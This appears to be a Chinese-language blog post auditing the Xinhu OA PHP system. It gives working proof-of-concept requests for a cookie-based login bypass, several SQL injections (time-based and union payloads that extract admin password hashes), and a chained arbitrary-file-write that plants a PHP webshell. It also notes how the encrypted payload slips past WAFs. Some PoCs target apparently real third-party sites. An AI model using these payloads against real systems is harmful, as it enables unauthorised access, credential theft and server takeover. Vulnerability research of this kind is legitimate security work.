p00mj

某oa系统的审计


title: 某oa系统的审计
date: 2018-03-07 17:18:16
tags:

信呼OA

闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。

1.管理员登录验证绕过,可直接登录任意在线用户

在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下

	public function autologin($aid=0, $token=\'\', $ism=0)
	{
		$baid  = $this->adminid;
		if($aid>0 && $token!=\'\'){
			$rs = $this->getone("`uid`=\'$aid\' and `token`=\'$token\' and `online`=1",\'`name`\');
			if(!$rs)exit(\'illegal request2\');
			$this->setsession($aid, $rs[\'name\'], $token);
			$baid	= $aid;
		}
		if($baid==0){
			$uid 	= (int)$this->rock->cookie(\'mo_adminid\',\'0\');//用cookie登录
			$onrs 	= $this->getone("`uid`=$uid and `online`=1",\'`name`,`token`,`id`,`uid`\');
			if($onrs){
				$this->setsession($uid, $onrs[\'name\'], $onrs[\'token\']);
				$this->update("moddt=\'".$this->rock->now."\'", $onrs[\'id\']);
			}else{
				$uid = 0;
			}
			$baid = $uid;
		}
		return $baid;
	}
}

看到这里$this->adminid值的获取

	public function initRock()
	{
		$this->jm 		= c(\'jm\', true);
		$this->adminid	= (int)$this->session(\'adminid\',0);
		$this->adminname= $this->session(\'adminname\');
		$this->adminuser= $this->session(\'adminuser\');
	}

看到默认值为0

这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入if($onrs) 当中,同时设置session,并且成功登录。

利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11

首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器

访问前台:成功登录!

2.前台登录接口注入

登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据

首先\webmain\task\api\loginAction.php控制器当中的checkAction方法

{
	public function checkAction()
	{
		$adminuser	= str_replace(\' \',\'\',$this->rock->jm->base64decode($this->post(\'user\')));
		$adminpass	= $this->rock->jm->base64decode($this->post(\'pass\'));
		$arr 		= m(\'login\')->start($adminuser, $adminpass);
		if(is_array($arr)){
			$arrs = array(
				\'uid\' 	=> $arr[\'uid\'],
				\'name\' 	=> $arr[\'name\'],
				\'user\'	=> $arr[\'user\'],
				\'ranking\'	=> $arr[\'ranking\'],
				\'deptname\'  => $arr[\'deptname\'],
				\'deptallname\' => $arr[\'deptallname\'],
				\'face\'  	=> $arr[\'face\'],
				\'apptx\'  	=> $arr[\'apptx\'],
				\'token\'  	=> $arr[\'token\'],
				\'iskq\'  	=> (int)m(\'userinfo\')->getmou(\'iskq\', $arr[\'uid\']), //判断是否需要考勤
				\'title\'		=> getconfig(\'apptitle\'),
				\'weblogo\'	=> getconfig(\'weblogo\')
			);
			
			$uid 	= $arr[\'uid\'];
			$name 	= $arr[\'name\'];
			$user 	= $arr[\'user\'];
			$token 	= $arr[\'token\'];
			m(\'login\')->setsession($uid, $name, $token, $user);
			$this->showreturn($arrs);
		}else{
			$this->showreturn(\'\', $arr, 201);
		}
	}

是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数

public function start($user, $pass, $cfrom=\'\', $devices=\'\')
	{
		$uid   = 0; 
		$cfrom = $this->rock->request(\'cfrom\', $cfrom);
		$token = $this->rock->request(\'token\');
		$device= $this->rock->request(\'device\', $devices);
		$ip	   = $this->rock->request(\'ip\', $this->rock->ip);
		$web   = $this->rock->request(\'web\', $this->rock->web);

中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾

		m(\'log\')->addlog(\'\'.$cfrom.\'登录\', \'[\'.$posts.\']\'.$loginx.\'\'.$logins.\'\', array(
			\'optid\'		=> $uid, 
			\'optname\'	=> $name,
			\'ip\'		=> $ip,
			\'web\'		=> $web,
			\'device\'	=> $device
		));

这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:

http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice

查询密码第一位如果为e则延时5秒

类似这样的注入应该还有一大把,懒得看,他\ 没有过滤,稍微有点心应该都晓得怎么利用

3.where处注入

没什么可分析的。poc

http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14

4.where处注入

http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true

post:id=1) and sleep(4

	public function kqjcmddelAjax()
	{
		$id 	= $this->post(\'id\');
		m(\'kqjcmd\')->delete("`id` in ($id)");
		showreturn();
	}

5.注入

http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c

6.注入

http://www.mianfeix.com/api.php?&m=indexreim&a=ldata

post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history

7.自定义setval

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

	public function setsaveAjax()
	{
		$this->option->setval(\'email_sendhost@-1\', $this->post(\'sendhost\'));
		$this->option->setval(\'email_sendport@-1\', $this->post(\'sendport\'));
		$this->option->setval(\'email_recehost@-1\', $this->post(\'recehost\'));
		$this->option->setval(\'email_sendsecure@-1\', $this->post(\'sendsecure\'));
		$this->option->setval(\'email_sysname@-1\', $this->post(\'sysname\'));
		$this->option->setval(\'email_sysuser@-1\', $this->post(\'sysuser\'));
		$this->option->setval(\'email_receyumi@-1\', $this->post(\'receyumi\'));
		$syspass	= $this->post(\'syspass\');
		if(!isempt($syspass)){
			$this->option->setval(\'email_syspass@-1\', $this->jm->encrypt($syspass));
		}
		$this->backmsg();
	}

另一个自定义val,比上面那个方便

public function savecolunmsAjax()
{
   $num   = $this->post(\'num\');
   $modeid = (int)$this->post(\'modeid\');
   $str   = $this->post(\'str\');
   $this->option->setval($num.\'@\'.(-1*$modeid-1000), $str,\'模块列定义\');
   $path  = m(\'mode\')->createlistpage($modeid);
   $msg   = \'ok\';
   if($path==\'\')$msg=\'已保存,但无法从新生成列表页,自定义列将不能生效\';
   echo $msg;
}

http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main

post:num=path&str=/test/a

这不算漏洞,但是可以利用这个做一些事情。

8.输出显示val

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.php

	public function checkewmAction()
	{
		$randkey 		= $this->get(\'randkey\');

		$val 	 		= $this->option->getval($randkey);
		echo $val;
        //echo $val;exit();
		//echo $val;
		$data[\'val\'] 	= $val;
		//echo $randkey;exit();
		if(isempt($randkey))$this->showreturn($data);
		if($val>\'0\'){
			$dbs 		= m(\'admin\');
			$urs 		= $dbs->getone("`id`=\'$val\' and `status`=1",\'`name`,`user`,`face`,`pass`\');
			if(!$urs){
				$val = \'-1\';
			}else{
				$data[\'user\'] = $urs[\'user\'];
				$data[\'face\'] = $dbs->getface($urs[\'face\']);
				$data[\'pass\'] = md5($urs[\'pass\']);
			}
			$this->option->delete("`num`=\'$randkey\'");
		}
		$data[\'val\'] 	= $val;
		$this->showreturn($data);
	}

http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true

post:sendhost=1

http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost

9.输出显示val

获取服务段加密数据

poc:

http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post:storeafteraction=savebeforecog&emailpass=admin&id=1

	
	public function savebeforecog($table, $cans)
	{
		$emailpass	= $this->post(\'emailpass\');
		if(!isempt($emailpass)){
			$cans[\'emailpass\'] = $this->jm->encrypt($emailpass);
		}
		return array(
			\'rows\' => $cans
		);
	}
	

写文件GETSHELL

这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试

首先看问题所在的函数,C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.php

public function exceldown($arr)
{
   $fields = explode(\',\', $this->post(\'excelfields\',\'\',1));
   $header = explode(\',\', $this->post(\'excelheader\',\'\',1));
   $title = $this->post(\'exceltitle\',\'\',1);
   $rows  = $arr[\'rows\'];
   $exceltype = $this->post(\'exceltype\',\'xls\'); //保存文件类型
   $headArr   = array();
   for($i=0; $i<count($fields); $i++){
      $headArr[$fields[$i]] = $header[$i];
   }
   $url      = c(\'html\')->execltable($title, $headArr, $rows, $exceltype);
   $this->returnjson(array(
      \'url\'     => $url, 
      \'totalCount\'=> $arr[\'totalCount\'],
      \'downCount\' => count($rows)
   ));
}

这里看到默认上传接受的文件后缀是xls,这个后缀传递给c(\'html\')->execltable模型,看看这个模型的实现

/**
*  创建excel导出表格
*/
public function execltable($title, $headArr, $rows, $lx=\'\')
{
   if($lx==\'\')$lx=\'xls\';
   $borst  = \'.5pt\';
   $sty   = \'style="white-space:nowrap;border:\'.$borst.\' solid #000000;font-size:12px;"\';
   $s        = \'<html><head><meta charset="utf-8"><title>\'.$title.\'</title></head><body>\';
   $s        .= \'<table border="0" style="border-collapse:collapse;">\';
   $hlen  = 1;
   $s1=\'<tr height="30"><td \'.$sty.\'>序号</td>\';
   foreach($headArr as $na){
      $hlen++;
      $s1.=\'<td \'.$sty.\'>\'.$na.\'</td>\';
   }
   $s1.=\'</tr>\';
   $s.=\'<tr height="40"><td \'.$sty.\' colspan="\'.$hlen.\'">\'.$title.\'</td></tr>\';
   $s.=$s1;
   foreach($rows as $k=>$rs){
      $s.=\'<tr height="26">\';
      $s.=\'<td align="center" \'.$sty.\'>\'.($k+1).\'</td>\';
      foreach($headArr as $kf=>$na){
         $val = \'\';
         if(isset($rs[$kf]))$val=$rs[$kf];
         $s.=\'<td \'.$sty.\'>\'.$val.\'</td>\';
      }
      $s.=\'</tr>\';
   }
   $s.=\'</table>\';
   
   $s.=\'</body></html>\';
   
   $mkdir     = \'\'.UPDIR.\'/logs/\'.date(\'Y-m\').\'\';
   
   if(!contain(strtolower(PHP_OS),\'win\')){
      $title = c(\'pingyin\')->get($title, 1);//linux要用拼音,不然会乱码
   }
   
   $filename  = \'\'.$title.\'_\'.date(\'d_His\').\'.\'.$lx.\'\';
   $filename  = str_replace(\'/\',\'\',$filename);
   $url      = \'\'.$mkdir.\'/\'.$filename.\'\';
   $bo       = $this->rock->createtxt(iconv(\'utf-8\',\'gb2312\',$url), $s);
   return $url;
}

文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

public function savebeforecog($table, $cans)
{

   $emailpass = $this->post(\'emailpass\');
   if(!isempt($emailpass)){
      $cans[\'emailpass\'] = $this->jm->encrypt($emailpass);
   }
   return array(
      \'rows\' => $cans
   );
}

post(\'emailpass\')后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。

由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作

访问

http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post数据:storeafteraction=savebeforecog&emailpass=&id=1

这样生成加密字符串

拿到加密字符串后开始正式写shell

访问:http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true

post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03

写文件

生成成功,验证一下

由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护

分类:

技术点:

相关文章:

  • 2021-11-04
  • 2021-11-09
  • 2021-11-14
  • 2021-11-04
猜你喜欢
  • 2021-11-04
  • 2021-06-28
  • 2021-11-17
  • 2021-09-09
  • 2021-09-13
  • 2021-09-15
相关资源
相似解决方案